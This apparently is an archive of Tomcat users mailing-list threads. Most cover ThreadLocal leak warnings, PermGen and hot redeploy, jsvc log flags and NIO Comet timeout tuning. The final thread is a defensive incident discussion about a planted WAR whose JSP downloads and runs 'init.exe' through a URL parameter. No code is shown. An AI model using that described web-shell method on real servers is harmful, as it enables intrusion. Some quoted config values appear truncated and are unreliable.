Re: Nasty problem with headless mode in Tomcat 6-0-24
Ok, thanks. In fact just after receiving this email from you I also got one from Apple saying that it's a bug and that they're trying to solve it. Sorry for the bother, and thanks again. Malcolm Il 09/03/10 18.25, Caldarale, Charles R ha scritto: From: André Warnier [mailto:a...@ice-sa.com] Subject: Re: Nasty problem with headless mode in Tomcat 6-0-24 I can't be categorical, because I have never used Tomcat on an Apple machine, but neither here nor in the attachments do I spot anything that might be Tomcat-related. It's definitely an Apple JVM problem; Tomcat is not involved. Good luck. - Chuck THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY MATERIAL and is thus for use only by the intended recipient. If you received this in error, please contact the sender and delete the e-mail and its attachments from all computers. - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Threadlocal problem
Thanks for your very helpful answers. I shall gradually cut out reflectionToString: unfortunately I've used it quite a lot, because it was useful! Thanks again, Malcolm Warren Cyrille Le Clerc ha scritto: Hello, Your threadLocal variable is created by the reflectionToString feature of Jakarta Commons Lang ToStringBuilder (1). This thread local variable seems to be used to prevent infinite recursion when ToStringBuilder traverse the objects. I didn't see yet a way (servlet filter, etc) to cleanup this ThreadLocal. Cyrille -- Cyrille Le Clerc clecl...@xebia.fr (1) http://fisheye6.atlassian.com/browse/commons/proper/lang/trunk/src/java/org/apache/commons/lang/builder/ToStringStyle.java?r=594386#l136 On Tue, Feb 2, 2010 at 2:44 PM, Mark Thomas wrote: On 02/02/2010 13:31, Malcolm Warren wrote: SEVERE: A web application created a ThreadLocal with key of type [org.apache.commons.lang.builder.ToStringStyle$1] (value [org.apache.commons.lang.builder.tostringstyl...@66a37d72]) and a value of type [java.util.HashSet] (value [[]]) but failed to remove it when the web application was stopped. To prevent a memory leak, the ThreadLocal has been forcibly removed. I get this message with every hot redeploy, which is a little worrying. Anybody know what it's about? The message says it all. Something created a ThreadLocal but didn't clean it up. Tomcat cleaned it up to prevent a memory leak. This started with the latest Tomcat 6 version: 6.0.24. I'm pleased with this new version because it also pointed out politely that I hadn't closed a thread I'd opened. This is all part of the new memory leak protection added for 6.0.24. It is good to hear that people are finding it useful. I've fixed my Thread but I still get the message shown at the beginning of this email. I don't use ThreadLocal in my code at all, so it's Tomcat who's creating this ThreadLocal for some reason, but since it's not mine it's something I can't do much about, presumably. It isn't Tomcat's (Tomcat doesn't ship with commons-lang) so I am pretty sure it is yours. Chances are it isn't something you are doing directly but maybe something a library you are using is doing? If a library is adding a ThreadLocal to a request processing thread it *must* remove it before the request completes to avoid a potential memory leak. If it doesn't, I would argue that is a bug in the library. At a stretch, if the library provides a mechanism to clean these up on web app shutdown that is just about OK but that could would need to be carefully coded. Mark - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Threadlocal problem
SEVERE: A web application created a ThreadLocal with key of type [org.apache.commons.lang.builder.ToStringStyle$1] (value [org.apache.commons.lang.builder.tostringstyl...@66a37d72]) and a value of type [java.util.HashSet] (value [[]]) but failed to remove it when the web application was stopped. To prevent a memory leak, the ThreadLocal has been forcibly removed. I get this message with every hot redeploy, which is a little worrying. Anybody know what it's about? This started with the latest Tomcat 6 version: 6.0.24. I'm pleased with this new version because it also pointed out politely that I hadn't closed a thread I'd opened. I've fixed my Thread but I still get the message shown at the beginning of this email. I don't use ThreadLocal in my code at all, so it's Tomcat who's creating this ThreadLocal for some reason, but since it's not mine it's something I can't do much about, presumably. Thanks for any help you may be able to give. regards, Malcolm Warren
Re: Tomcat, out of memory and hot reployment
Thanks very much for your answers. My question has been clarified. Malcolm Pid ha scritto: On 07/12/2009 10:53, Malcolm Warren wrote: Dear All, I've seen that using hot deploy too often for apps on my production server (more than seven or eight times) without restarting Tomcat causes an Out of memory exception. Whereas it doesn't happen on my mac test machine, presumably because it has a different jvm from the debian linux production machine. And I've read in several places the reason for this, for example: "Hot redeployment always leads to an eventual JVM death as it runs out of PermGen memory space that stores class definitions". Just to clarify, that is not an accurate statement. Replace "always leads" with "might lead (depending on what your app is doing)", then check the credibility of the source. p What I was wondering is: If I turn off hot redeployment and use the Tomcat manager to redeploy applications, does that solve the problem? I would assume that it does not, but any information from the experts would be very welcome. Thanks, Malcolm Warren - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Tomcat, out of memory and hot reployment
Dear All, I've seen that using hot deploy too often for apps on my production server (more than seven or eight times) without restarting Tomcat causes an Out of memory exception. Whereas it doesn't happen on my mac test machine, presumably because it has a different jvm from the debian linux production machine. And I've read in several places the reason for this, for example: "Hot redeployment always leads to an eventual JVM death as it runs out of PermGen memory space that stores class definitions". What I was wondering is: If I turn off hot redeployment and use the Tomcat manager to redeploy applications, does that solve the problem? I would assume that it does not, but any information from the experts would be very welcome. Thanks, Malcolm Warren
Re: [OT] Re: So many timeout values
On Thu, Oct 29, 2009 at 10:30 AM, André Warnier wrote: > Warren Pace wrote: >> >> On Thu, Oct 29, 2009 at 9:14 AM, Caldarale, Charles R >> wrote: >>>> >>>> From: André Warnier [mailto:a...@ice-sa.com] >>>> Subject: Re: [OT] Re: So many timeout values >>>> >>>> As long as we're on the [OT] subject, how about learning about the >>>> judicious and parcimonious usage of sorted data structures, on a >>>> computer with 16 Kb of RAM and punched paper cards as its only external >>>> memory store (IBM System 4, RPG) ? >>>> 2 GB heaps, ha ! >>>> >>>> Anyone else upping the ante ? >>> >>> Univac 1004: 961 *6-bit* bytes of core memory, programmed via squids on a >>> plugboard. Handled punch cards, paper tape, and printing; tape drive >>> optional (we didn't have one). Had a tendency to throw cards all over the >>> room if not handled properly. >>> >>> - Chuck >>> >>> I'd say you win, Chuck. >> > Yep, I give up. > I was kind of baiting Chuck, I suspected he would win in the end. > But I was hoping for someone to come up in-between up with a Cromemco or > NortStar CPU board, for S-100 bus, with a telex paper tape reader as boot > device.. > The thing above kind of trumps that however. > The only 6-bit bytes machine I remember was a Control Data 6600. It had 10 > of them in a word though, so pretty big integers. > >I have to admit that I started out on a IBM System/32. Much more advanced >system than anything mentioned in this thread. I still remember some RPG, >though... > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: [OT] Re: So many timeout values
On Thu, Oct 29, 2009 at 9:14 AM, Caldarale, Charles R wrote: >> From: André Warnier [mailto:a...@ice-sa.com] >> Subject: Re: [OT] Re: So many timeout values >> >> As long as we're on the [OT] subject, how about learning about the >> judicious and parcimonious usage of sorted data structures, on a >> computer with 16 Kb of RAM and punched paper cards as its only external >> memory store (IBM System 4, RPG) ? >> 2 GB heaps, ha ! >> >> Anyone else upping the ante ? > > Univac 1004: 961 *6-bit* bytes of core memory, programmed via squids on a > plugboard. Handled punch cards, paper tape, and printing; tape drive > optional (we didn't have one). Had a tendency to throw cards all over the > room if not handled properly. > > - Chuck > >I'd say you win, Chuck. > THIS COMMUNICATION MAY CONTAIN CONFIDENTIAL AND/OR OTHERWISE PROPRIETARY > MATERIAL and is thus for use only by the intended recipient. If you received > this in error, please contact the sender and delete the e-mail and its > attachments from all computers. > > > - > To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org > For additional commands, e-mail: users-h...@tomcat.apache.org > > - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: [OT] Re: So many timeout values
I was the happiest man in the world when they delivered our shiny new System/34. No more punch cards! --Original Message-- From: André Warnier To: Tomcat Users List ReplyTo: Tomcat Users List ReplyTo: Tomcat Users List Subject: Re: [OT] Re: So many timeout values Sent: Oct 29, 2009 5:08 AM Peter Crowther wrote: > 2009/10/28 Christopher Schultz : >> Everybody ought to learn a little C at some point. It will make you >> really appreciate a relatively clean language like Java. > > ICL PLAN3 asembler, anyone? :-) > > More seriously, I agree with you and would add a second reason: doing > a little work in a language that is reasonably "close to the metal" > gives an insight into how the machine actually works, which stands you > in good stead when thinking about algorithms and resource usage in > those higher-level languages. > As long as we're on the [OT] subject, how about learning about the judicious and parcimonious usage of sorted data structures, on a computer with 16 Kb of RAM and punched paper cards as its only external memory store (IBM System 4, RPG) ? 2 GB heaps, ha ! Anyone else upping the ante ? - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org Sent from my Verizon Wireless BlackBerry
Re: jsvc and logging
Dear Hassan, Thank you very much for your reply. I've found my mistake - a stupid one - I forgot the trailing back slash indicating a continuing line of the command. And it now all seems to be working. Thanks again, Malcolm Warren Hassan Schroeder ha scritto: On Sat, May 30, 2009 at 1:54 AM, Malcolm Warren wrote: The tomcat daemon is started like this: $DAEMON -user "$TOMCAT6_USER" -cp "$JSVC_CLASSPATH" \ -outfile SYSLOG -errfile SYSLOG \ But if I try to change the -outfile and -errfile parameters tomcat doesn't start and I get a message saying: "No class specified Cannot parse command line arguments" I've tried ... -outfile ./logs/catalina.out -errfile ./logs/catalina.err That should be fine; one of my installations starts like: $CATALINA_HOME/bin/jsvc -user tomcat \ -cp ./bin/bootstrap.jar \ -outfile ./logs/catalina.out \ -errfile ./logs/catalina.err \ -pidfile /var/run/tomcat.pid \ Are you using a standard or third-party repackaged Tomcat? If the latter, all bets are off :-)
jsvc and logging
Dear All, I'd be grateful for some help with jsvc and logging. I've spent a whole morning googling but without success so I'm turning to the Tomcat mailing list. My logs are all going into the syslog, which is not the best solution. I would like to see tomcat logs in the usual tomcat /logs folder The tomcat daemon is started like this: $DAEMON -user "$TOMCAT6_USER" -cp "$JSVC_CLASSPATH" \ -outfile SYSLOG -errfile SYSLOG \ -pidfile "$CATALINA_PID" $JAVA_OPTS "$BOOTSTRAP_CLASS" But if I try to change the -outfile and -errfile parameters tomcat doesn't start and I get a message saying: "No class specified Cannot parse command line arguments" I've tried every possible combination of entries for these parameters, but to no avail. Such as: -outfile ./logs/catalina.out -errfile ./logs/catalina.err -outfile $CATALINA_HOME/logs/catalina.out -errfile $CATALINA_HOME/logs/catalina.err -outfile /var/lib/tomcat6/logs/catalina.out -errfile /var/lib/tomcat6/logs/catalina.err Any help would be much appreciated. Regards, Malcolm Warren
Re: nio connector configuration
Sorry to bump this thread. I'm willing to pay for some assistance if anyone's interested in helping. I'm trying to figure out 2 problems when running my system under a light-moderate load test: 1) why do my comet timeout events not get generated on time (supposed to be every 50 seconds, averaging 56s, with many refused connections skewing the average down, max 85s)? 2) why is tomcat refusing connections under what seems to be a reasonable load? I'm happy to do more legwork on my own -- just looking for some pointers here. Can anyone help me out? Looking at JConsole, 2 items that look suspicious: 1) blocked http-acceptor threads, and 2) block-poller and client-poller threads that show a high number of blocks (see below). Also, the non-comet http requests are returning quickly, averaging ~150ms, so it seems to be only my comet requests that are having issues. Running a load test with 600 total client threads averaging 14 requests/sec. 300 threads making normal http requests, 300 threads making comet requests that wait 50 seconds for a server timeout. Tomcat 6.0.18 on Windows XP. after 1/2 hour running: normal http requests: 2 samples, averaging 150 ms, ~.5% error comet requests: 1 samples, averaging 56s, ~3.5% error Information from JConsole: CPU avg: 5-10% threads: stable @ ~300 memory: stable @ ~130MB Thread status from JConsole of the http-acceptor, block-poller, and client-poller threads: Name: http-80-Acceptor-0 State: BLOCKED on java.lang.obj...@17a82f1 owned by: http-80-Acceptor-4 Total blocked: 132 Total waited: 0 Stack trace: sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:1198) java.lang.Thread.run(Unknown Source) - Name: http-80-Acceptor-1 State: BLOCKED on java.lang.obj...@17a82f1 owned by: http-80-Acceptor-4 Total blocked: 129 Total waited: 0 Stack trace: sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:1198) java.lang.Thread.run(Unknown Source) - Name: http-80-Acceptor-2 State: BLOCKED on java.lang.obj...@17a82f1 owned by: http-80-Acceptor-4 Total blocked: 122 Total waited: 0 Stack trace: sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:1198) java.lang.Thread.run(Unknown Source) - Name: http-80-Acceptor-3 State: BLOCKED on java.lang.obj...@17a82f1 owned by: http-80-Acceptor-0 Total blocked: 166 Total waited: 0 Stack trace: sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:1198) java.lang.Thread.run(Unknown Source) - Name: http-80-Acceptor-4 State: BLOCKED on java.lang.obj...@17a82f1 owned by: http-80-Acceptor-0 Total blocked: 133 Total waited: 0 Stack trace: sun.nio.ch.ServerSocketChannelImpl.accept(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:1198) java.lang.Thread.run(Unknown Source) - Name: http-80-ClientPoller State: RUNNABLE Total blocked: 17,950 Total waited: 5 Stack trace: sun.nio.ch.WindowsSelectorImpl$SubSelector.poll0(Native Method) sun.nio.ch.WindowsSelectorImpl$SubSelector.poll(Unknown Source) sun.nio.ch.WindowsSelectorImpl$SubSelector.access$400(Unknown Source) sun.nio.ch.WindowsSelectorImpl.doSelect(Unknown Source) sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) - locked sun.nio.ch.uti...@f7b8fc - locked java.util.collections$unmodifiable...@195afdb - locked sun.nio.ch.windowsselectori...@c56236 sun.nio.ch.SelectorImpl.select(Unknown Source) org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1473) java.lang.Thread.run(Unknown Source) - Name: NioBlockingSelector.BlockPoller-1 State: RUNNABLE Total blocked: 10,645 Total waited: 0 Stack trace: sun.nio.ch.WindowsSelectorImpl$SubSelector.poll0(Native Method) sun.nio.ch.WindowsSelectorImpl$SubSelector.poll(Unknown Source) sun.nio.ch.WindowsSelectorImpl$SubSelector.access$400(Unknown Source) sun.nio.ch.WindowsSelectorImpl.doSelect(Unknown Source) sun.nio.ch.SelectorImpl.lockAndDoSelect(Unknown Source) - locked sun.nio.ch.uti...@b2ee9a - locked java.util.collections$unmodifiable...@14eda77 - locked sun.nio.ch.windowsselectori...@1e8bb4c sun.nio.ch.SelectorImpl.select(Unknown Source) org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:305) Thanks for any help, Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: nio connector configuration
I'm trying to figure out how best to configure nio so that my comet timeout events get generated in a timely manner. I have the comet events set to generate a timeout every 50 seconds. Works fine with few users. Under a moderate but reasonable load the timeout gets generated on average every 113 seconds. My configuration tweaks haven't yielded any noticeable changes (see below). Test results... Background: - using JMeter - 300 threads executing normal http requests, averaging ~9.8 requests/second. - 300 threads executing comet requests that simply wait for the server to close the connection every 50 seconds, averaging ~2.6 requests/second. - server is ubuntu 8.10 running tomcat 6.0.18. - server is not cpu constrained, averaging about 8-12% cpu - server doesn't seem to be memory constrained. top shows 80% of memory after hours of test (machine has 512MB physical memory and tomcat has a max heap set to 384MB) - network latency isn't a problem I ran 2 tests with different configurations for the nio connector: 1 test with bare-bones settings, and 1 test with everything that seemed like it might make a difference. Ran for 3+ hours. 8-12% cpu. 12.4 requests/second. comet requests: average response time 112 secs, min 21 secs, max 179 secs Ran for 1 1/2 hours. 8-12% cpu. 12.2 requests/second. comet requests: average response time 113 secs, min 50 secs, max 133 secs So how can I get my comet timeouts generated at close to 50 secs under load? I thought maybe the poller thread priority was too low (does the poller thread generate the timeouts?), but setting its priority to max didn't change anything. Just to make sure I wasn't doing anything dumb in my client code, I replaced my event() method with the one below and still got the same disparity in comet timeouts, ranging from 50 to 120 secs: public void event(CometEvent event) throws IOException, ServletException { HttpServletRequest request = event.getHttpServletRequest(); if (event.getEventType() == CometEvent.EventType.BEGIN) { event.setTimeout(5); } else if (event.getEventType() == CometEvent.EventType.ERROR) { event.close(); } else if (event.getEventType() == CometEvent.EventType.END) { event.close(); } else if (event.getEventType() == CometEvent.EventType.READ) { InputStream is = request.getInputStream(); byte[] buf = new byte[512]; do { is.read(buf); // can throw an IOException } while (is.available() > 0); } } I just checked the priority of the thread issuing the comet timeout event and its priority is 5. I have both the acceptor and poller thread priorities set to 10. How can I bump up the priority of the thread that issues the timeout events (in this case named "http-80-exec-1")? Thanks for any ideas, Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: nio connector configuration
Thanks for the tips. Very helpful. >> I also get the warning when trying to use keepAliveTimeout. >> Is this property available for the nio connector? > > No; it's only listed under the older connector (the one labeled "Standard > Implementation" that then somewhat ambiguously refers to HTTP). I suspected as much, but got confused when I used the acceptCount property and tomcat didn't complain. acceptCount is only listed under the "standard implementation" as well, so I expected a warning. >> '-Dorg.apache.tomcat.util.net.NioSelectorShared=false' did not find a >> matching property. > > Works for me (at least I don't get any error message) on 6.0.18 running with > JDK 6u12 on a Vista 64 box; how are you setting the above property, and what > are your running on? I was setting it as a property in the connector config. Maybe that was silly of me, but I thought maybe all the properties were localized in the connector. I just tried it as a command-line option and it seemed to work. Interesting side note, with "-Dorg.apache.tomcat.util.net.NioSelectorShared=false" set and selectorPool.maxSelectors="500". My server code starts generating comet END events after about 30 threads start and only about 10 seconds into the test. Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
nio connector configuration
Looking for nio configuration tips for 6.0.18... I have an ajax app that uses a single socket connection for sending standard http requests and receiving responses, and another socket connection to listen via comet for messages pushed out by the server. A comet timeout is generated every 50 seconds, and the server then closes the client connection. The client immediately reconnects. This heartbeat lets me know the client is still alive. In load testing with JMeter, I find that when running somewhere between 100 & 200 threads (1/2 making regular http requests and 1/2 making comet listen requests that connect and then wait until the server closes the connection) the comet timeout events get generated more and more slowly. When they should be generated every 50 seconds, after only a little over a minute into the load test, the timeouts slow to sometimes over 60 seconds. When running 100 threads, the system works fine with the timeouts occurring less than every 60 seconds indefinitely. I'm not much of a tomcat administrator and am trying to figure out how to best to tune it for my app. This is what my connector config looks like now. Basically I'm throwing the kitchen sink at it, and then planning on fine-tuning it once I find something that makes a difference. A couple notes: the acceptorThreadPriority and pollerThreadPriority are set using ints because I get the following warnings in the catalina log when trying to use the documented notation: WARNING: [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'pollerThreadPriority' to 'java.lang.Thread#MAX_PRIORITY' did not find a matching property. I also get the warning when trying to use keepAliveTimeout. Is this property available for the nio connector? WARNING: [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'keepAliveTimeout' to '12' did not find a matching property. I also get the warning when trying to use command-line-options, or am I supposed to really be setting this property on the command line? WARNING: [SetAllPropertiesRule]{Server/Service/Connector} Setting property 'command-line-options' to '-Dorg.apache.tomcat.util.net.NioSelectorShared=false' did not find a matching property. Thanks for any tips, Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: comet end vs. client_disconnect
> CLIENT_DISCONNECT is only used a subtype of ERROR > and that happens when the socket is closed from the client side When a client disconnects (i.e. socket is closed from the client side), I see an END event on both Windows and Ubuntu. I expected an ERROR event with a subtype of CLIENT_DISCONNECT, but I receive no ERROR events of any kind. Should I be receiving the ERROR event in addition to or instead of the END event? Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
comet end vs. client_disconnect
How do I distinguish between a comet END event generated due to a client disconnect and an end event generated for some other reason? I'm using tomcat 6.0.18 with the nio connector. On both windows xp sp3 and ubuntu 8.10, I'm seeing END events generated when a client disconnects and for other situations. I never receive error events with a subtype of CLIENT_DISCONNECT, which is what I was expecting when a client disconnects. In the aio docs, I read: "End will also be called when data is available and the end of file is reached on the request input (this usually indicates the client has pipelined a request)." So END events get generated on a client disconnect but may also get generated for pipelined requests. So how can I tell definitively if a client disconnects? I also read: "note: some of these events require usage of the org.apache.catalina.valves.CometConnectionManagerValve" so I enabled the CometConnectionManagerValve, but still I don't receive error events with a CLIENT_DISCONNECT subtype. I've got stack traces for the 2 situations I encounter that generate end events. This partial stack is from a client disconnect that generates an END event: Http11NioProcessor.event(SocketStatus) line: 750 Http11NioProtocol$Http11ConnectionHandler.event(NioChannel, SocketStatus) line: 653 NioEndpoint$SocketProcessor.run() line: 2081 This partial stack is from something other than a client disconnect (maybe a pipelined request?) that generates an END event: Http11NioProcessor.process(NioChannel) line: 880 Http11NioProtocol$Http11ConnectionHandler.process(NioChannel) line: 719 NioEndpoint$SocketProcessor.run() line: 2081 Note that the traces diverge at NioEndpoint$SocketProcessor.run() line: 2081 due to the value of NioEndpoint$SocketProcessor.status, which is null in the second case. Is there a configuration issue that I can remedy to start receiving error events with subtype CLIENT_DISCONNECT? Barring that, is there some flag in the CometEvent or some object accessible from the CometEvent that I can use to tell if an END event was generated due to a client disconnect? Thanks, Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: comet loop after webapp re-start
Thanks for the pointer. That bug does look related, as does this one: http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6403933 -- fixed against java 7. - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: comet loop after webapp re-start
> What JVM are you using? The stack trace doesn't look like anything that a > HotSpot JVM would produce. It's Sun Java 1.6.0_10-b33. I grabbed the trace from my eclipse debugger. And I see the loop when running both with and without vm debug flags. Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
comet loop after webapp re-start
I'm running tomcat 6.0.18 on Ubuntu 8.10. I have a comet application that maintains an open connection with tomcat. If I re-start my webapp and then close the client connection, tomcat goes into a loop and chews up all cpu. This server is not live and only has my single client. The ClientPoller thread consumes most of the cpu running through the following stack over and over. Daemon Thread [http-80-ClientPoller] (Suspended (breakpoint at line 654 in ThreadPoolExecutor)) ThreadPoolExecutor.execute(Runnable) line: 654 NioEndpoint.processSocket(NioChannel, SocketStatus, boolean) line: 1161 NioEndpoint.processSocket(NioChannel, SocketStatus) line: 1148 NioEndpoint$Poller.processKey(SelectionKey, NioEndpoint$KeyAttachment) line: 1555 NioEndpoint$Poller.run() line: 1508 Thread.run() line: 619 This is not a problem with my CometProcessor not handling the comet events; the END event when the client connection is closed is never delivered to my CometProcessor, understandably since I just re-started the webapp and there is now a new CometProcessor instance. I believe what is happening is that the NIO connector is trying to deliver the END event to a CometProcessor that no longer exists and just keeps trying. Should the NIO connector recognize that the event is undeliverable and give up? Or is there something I need to do in webapp shutdown code to tell the NIO processor to disregard any open connections? The workaround is to always re-start the tomcat instead of just the webapp. This is possible for me since my server is only serving a single webapp. Peter - To unsubscribe, e-mail: users-unsubscr...@tomcat.apache.org For additional commands, e-mail: users-h...@tomcat.apache.org
Re: Struts vs JSF (poll?)
If you are starting from scratch I would not bother with JSF and don't even waste your time with Struts. Take a look at a framework called Wicket. It's a component based, event driven framework that is very easy to work with and fast to develop with. No crazy JSP tags to worry about either just plain HTML. It has a large community and a helpful mailing list. I have been very happy with it. Hope this helps you. Warren Tommy Pham wrote: Hi everyone, This maybe out of scope for this list but I wanted to know more about Struts vs JSF other this old article [1]. Which are are deployed mostly on your TC server(s)/cluster(s)? If any Java developers are on this list, which platform API do you prefer for quick development (to meet deadline), performance, security management (user authentication and level restriction) etc... since both are based on MVC despite their different implementations(?). Since there isn't a JSR for Struts, has Struts been around before JCP is formed? And why is there not a JSR for Struts now (just curious)? As for JSF, which implementation is used by/for your app(s)? Sun/NetBeans? Apache's MyFaces? or Others (please list)? I'm somewhat disappointed Netbeans support for JSF and Struts in that Netbeans bundled libs support used older Apache Commons lib version (even for the current v6.1), although this could be updated but I don't know whether it will break the integration of Netbeans' VWP. Even the tutorial/trails on NetBeans site regarding Struts (although this can be compensated at Struts' web site) is very limited perhaps because of the (biased?) Struts weak integration to favor or push more on JSF/Visual JSF? I need to evaluate my options of API and IDE before I dedicate several projects since the performance of Netbeans is getting worse by every release comparing to Eclipse. As for server, I've decided already ;) TIA, Tommy [1] http://websphere.sys-con.com/node/46516 - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] -- Thanks, Warren Bell 909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Possible virus uploaded to Tomcat 5.5.3
Peter Crowther wrote: From: Warren Bell [mailto:[EMAIL PROTECTED] [details of attack elided] The network that the server is on has a Lynksys RV082 small business router with the firewall completely locked down except for port 8080 available only to the networks with the kiosks. The kiosks are on a basic Linksys home router. That's a nice little JSP - once it's on the system, the attacker can do anything they like that's allowed by the outbound firewall, with the privilege of the user running Tomcat. I assume the server can connect freely to other URLs, such as wherever it pulled init.exe from? So the problem reduces to how someone managed to drop that JSP into 5.5.3 such that it could be invoked once? - Peter - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] That is the question, how in the hell did it get there. I am the only one who has access to the server along with init.exe. :-) -- Thanks, Warren Bell 909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Possible virus uploaded to Tomcat 5.5.3
Mark Thomas wrote: Warren Bell wrote: Mark Thomas wrote: Warren Bell wrote: Mark Thomas wrote: - What other webapps are installed on the Tomcat instance? Several, they are all intranet apps that do not have any download/upload capabilities and there is no possible sql injection vulnerabilities either. And none of the apps execute any programs local to the server. Hmm. No real idea yet but a few more questions. Is either the manager or the admin app installed? No OK, that rules out a few possibilities. From your comments you aren't using WebDAV at all. Is this correct? What is WebDA, some kind of anti-virus? It is a servlet that allows read/write of files on the server. Are all the apps on Tomcat accessible to the kiosks? Yes Do you have any access logs from around the time the rogue pages were installed? Maybe, the server is down, I am traveling to it right now to see if and how much damage this may have caused. Another thought occurs to me. If this server is only accessible via the firewall and the firewall is locked down to just port 8080 how did you get the source for the JSP you posted originally? Through a VPN connection And from my other e-mail, are you using the invoker servlet at all? No Mark - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] -- Thanks, Warren Bell 909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Possible virus uploaded to Tomcat 5.5.3
Mark Thomas wrote: Warren Bell wrote: Mark Thomas wrote: - What other webapps are installed on the Tomcat instance? Several, they are all intranet apps that do not have any download/upload capabilities and there is no possible sql injection vulnerabilities either. And none of the apps execute any programs local to the server. Hmm. No real idea yet but a few more questions. Is either the manager or the admin app installed? No If yes, how strong is the password and what realm are you using? From your comments you aren't using WebDAV at all. Is this correct? What is WebDA, some kind of anti-virus? Are all the apps on Tomcat accessible to the kiosks? Yes Do you have any access logs from around the time the rogue pages were installed? Maybe, the server is down, I am traveling to it right now to see if and how much damage this may have caused. Cheers, Mark - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] -- Thanks, Warren Bell 909-645-8864 [EMAIL PROTECTED] - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: Possible virus uploaded to Tomcat 5.5.3
Mark Thomas wrote: Warren Bell wrote: I have found a war file on my server that appeared around July 14. I am the only one that has access to this machine and I did not put it there. It consists of a jsp that downloads a program named init.exe and then executes it. This server is on a private network. Though there are three pc kiosks in grocery stores that are available to the public that access this server but they are on a different subnet and only have access to the server thru port 8080. I am pretty sure it came from one of these stores. The url used for this program is .../fexcep/index.jsp?url=... I am running Tomcat 5.5.3 on Windows XP. How did somebody get this war file onto my server ? Difficult to tell. A couple of questions that might help narrow this down: - From your description am I right in thinking there are two subnets, both private with neither connected to the internet? both networks are connected to the internet. - What other webapps are installed on the Tomcat instance? Several, they are all intranet apps that do not have any download/upload capabilities and there is no possible sql injection vulnerabilities either. And none of the apps execute any programs local to the server. And none of the apps are available to the Internet except to the kiosks through the Internet via - What is providing the firewall between your Tomcat box and the kiosks? The network that the server is on has a Lynksys RV082 small business router with the firewall completely locked down except for port 8080 available only to the networks with the kiosks. The kiosks are on a basic Linksys home router. - How locked down are the kiosks? Not very, each one of the kiosks is on its own network. The only access they have to the server is thru port 8080. - Could anyone have connected one of the kiosks to the internet? Yes, We have isolated it to one kiosk. We use a web proxy, but they just went around it. I have a heap of other questions but lets start with these and see where we go. Mark - To start a new topic, e-mail: users@tomcat.apache.org To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] -- Thanks, Warren Bell 